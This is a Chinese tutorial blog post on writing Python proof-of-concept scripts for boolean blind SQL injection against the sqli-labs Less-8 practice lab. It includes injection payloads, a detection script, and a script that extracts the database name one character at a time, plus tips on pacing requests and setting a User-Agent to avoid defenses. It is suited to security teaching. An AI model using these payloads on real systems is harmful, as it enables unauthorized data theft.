别再死记硬背了!用Python requests库手把手教你写第一个SQL注入POC(以sqli-labs第8关为例)
2026/6/11 17:10:54 网站建设 项目流程

从零编写SQL注入检测工具:Python实战sqli-labs第8关

第一次听说"POC"这个词是在某个技术论坛上,当时看到有人发帖说"求XX漏洞的POC",下面跟帖讨论热烈。作为一个刚学完Python基础的新手,我完全不明白他们在说什么,只觉得这似乎是某种高大上的黑客技术。后来才知道,POC(Proof of Concept)其实就是用代码验证漏洞存在的一段程序,而EXP(Exploit)则是利用漏洞进行攻击的代码。本文将带你用最基础的Python知识,从零开始编写一个检测SQL注入漏洞的POC,目标是对sqli-labs第8关进行自动化检测。

1. 理解SQL注入与POC原理

SQL注入是最常见的Web安全漏洞之一,攻击者通过在输入参数中插入恶意SQL代码,欺骗服务器执行非预期的数据库操作。sqli-labs是一个专门用于学习SQL注入的靶场环境,其中第8关是一个典型的基于布尔盲注的漏洞场景。

布尔盲注的特点是:

  • 服务器不会直接返回数据库错误信息
  • 页面只有"正常"和"异常"两种状态
  • 需要通过真/假条件判断来逐位提取数据

编写POC的核心思路是:

  1. 构造包含SQL片段的特殊参数
  2. 发送到目标URL并获取响应
  3. 分析响应特征判断漏洞是否存在

2. 环境准备与工具选择

2.1 实验环境搭建

要实践本教程,你需要:

  • 安装好的sqli-labs靶场(本地或远程)
  • Python 3.6+环境
  • requests库(用于HTTP请求)

安装requests库的命令:

pip install requests

2.2 为什么选择requests库

对于初学者来说,requests库有诸多优势:

  • API设计简单直观
  • 自动处理URL编码、会话保持等细节
  • 内置JSON解析、状态码检查等实用功能
  • 社区支持强大,文档完善

对比其他HTTP客户端库:

库名称学习曲线功能完整性适用场景
urllib陡峭基础标准库需求场景
httpx中等全面异步/HTTP2需求
requests平缓完善快速开发、教学

3. 手工测试过程分析

在编写自动化POC前,我们先手工测试sqli-labs第8关:

  1. 正常访问:http://localhost/sqli-labs/Less-8/?id=1
  2. 注入单引号:http://localhost/sqli-labs/Less-8/?id=1'
  3. 测试布尔条件:
    • 真条件:...?id=1' AND 1=1 --+(页面正常显示)
    • 假条件:...?id=1' AND 1=2 --+(页面空白)

注意:--+是SQL注释语法,用于注释掉原查询后面的部分

通过观察可以发现:

  • 当SQL条件为真时,页面返回正常内容
  • 当SQL条件为假时,页面返回空白
  • 这种差异可以作为漏洞存在的判断依据

4. 编写基础POC代码

现在我们将手工测试过程转化为Python代码:

import requests def check_sqli(url): # 构造测试payload true_payload = "?id=1' AND 1=1 --+" false_payload = "?id=1' AND 1=2 --+" # 发送请求 true_resp = requests.get(url + true_payload) false_resp = requests.get(url + false_payload) # 分析响应 if len(true_resp.text) > 0 and len(false_resp.text) == 0: print(f"[+] 漏洞存在: {url}") return True else: print(f"[-] 未检测到漏洞: {url}") return False # 测试代码 if __name__ == "__main__": target_url = "http://localhost/sqli-labs/Less-8/" check_sqli(target_url)

这段代码实现了最基本的漏洞检测逻辑:

  1. 构造真/假两种条件的请求
  2. 比较响应内容的差异
  3. 根据差异判断漏洞是否存在

5. 增强POC的健壮性

基础版本虽然能用,但存在几个问题:

  • 没有错误处理
  • 无法应对网络波动
  • 判断逻辑过于简单

改进后的版本:

import requests from urllib.parse import urljoin def enhanced_check_sqli(base_url, timeout=5): try: # 验证目标URL可达性 test_resp = requests.get(base_url, timeout=timeout) if test_resp.status_code != 200: print(f"[-] 目标不可达: HTTP {test_resp.status_code}") return False # 构造完整测试URL true_url = urljoin(base_url, "?id=1' AND 1=1 --+") false_url = urljoin(base_url, "?id=1' AND 1=2 --+") # 获取正常响应作为基准 normal_resp = requests.get(urljoin(base_url, "?id=1"), timeout=timeout) normal_length = len(normal_resp.text) # 发送测试请求 true_resp = requests.get(true_url, timeout=timeout) false_resp = requests.get(false_url, timeout=timeout) # 更精确的判断逻辑 true_positive = (len(true_resp.text) == normal_length) false_negative = (len(false_resp.text) != normal_length) if true_positive and false_negative: print(f"[+] 确认存在SQL注入漏洞: {base_url}") return True else: print(f"[-] 未检测到漏洞特征: {base_url}") return False except requests.exceptions.RequestException as e: print(f"[!] 请求失败: {str(e)}") return False # 使用示例 if __name__ == "__main__": target = "http://localhost/sqli-labs/Less-8/" enhanced_check_sqli(target)

改进点包括:

  1. 使用urljoin处理URL拼接
  2. 添加超时和异常处理
  3. 引入正常响应作为基准比较
  4. 更精确的状态判断逻辑

6. 扩展功能:自动化信息提取

基础的漏洞检测之后,我们可以进一步提取数据库信息:

import requests import string def extract_data(target_url): # 获取正常响应长度作为基准 normal_len = len(requests.get(target_url + "?id=1").text) # 提取当前数据库名 db_name = "" print("[*] 开始提取数据库名...") for i in range(1, 20): found = False for char in string.ascii_lowercase + string.digits + "_": payload = f"?id=1' AND SUBSTRING(database(),{i},1)='{char}' --+" resp = requests.get(target_url + payload) if len(resp.text) == normal_len: db_name += char print(f"当前进度: {db_name}") found = True break if not found: break print(f"[+] 数据库名: {db_name}") return db_name # 使用前确保目标存在漏洞 if __name__ == "__main__": url = "http://localhost/sqli-labs/Less-8/" if enhanced_check_sqli(url): extract_data(url)

这段代码实现了:

  1. 逐字符爆破数据库名
  2. 使用SUBSTRING函数提取特定位置字符
  3. 实时显示提取进度

7. 实际应用中的注意事项

在真实环境中使用这类工具时需要注意:

  • 合法性:只对授权目标进行测试
  • 请求频率:添加延迟避免触发防护机制
import time time.sleep(0.5) # 每次请求间隔0.5秒
  • 错误处理:完善各种异常情况的处理
  • 日志记录:保存测试结果和过程
with open("scan_log.txt", "a") as f: f.write(f"{target_url} - Vulnerable: {result}\n")
  • 用户代理:设置合理的User-Agent
headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } requests.get(url, headers=headers)

编写POC最难的不是技术实现,而是如何让代码适应各种复杂环境。在实际项目中,我通常会先花时间研究目标系统的特点,然后调整检测逻辑。比如有些网站会对异常请求返回200状态码但显示错误页面,这时就不能简单地通过状态码判断,而要分析页面内容特征。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询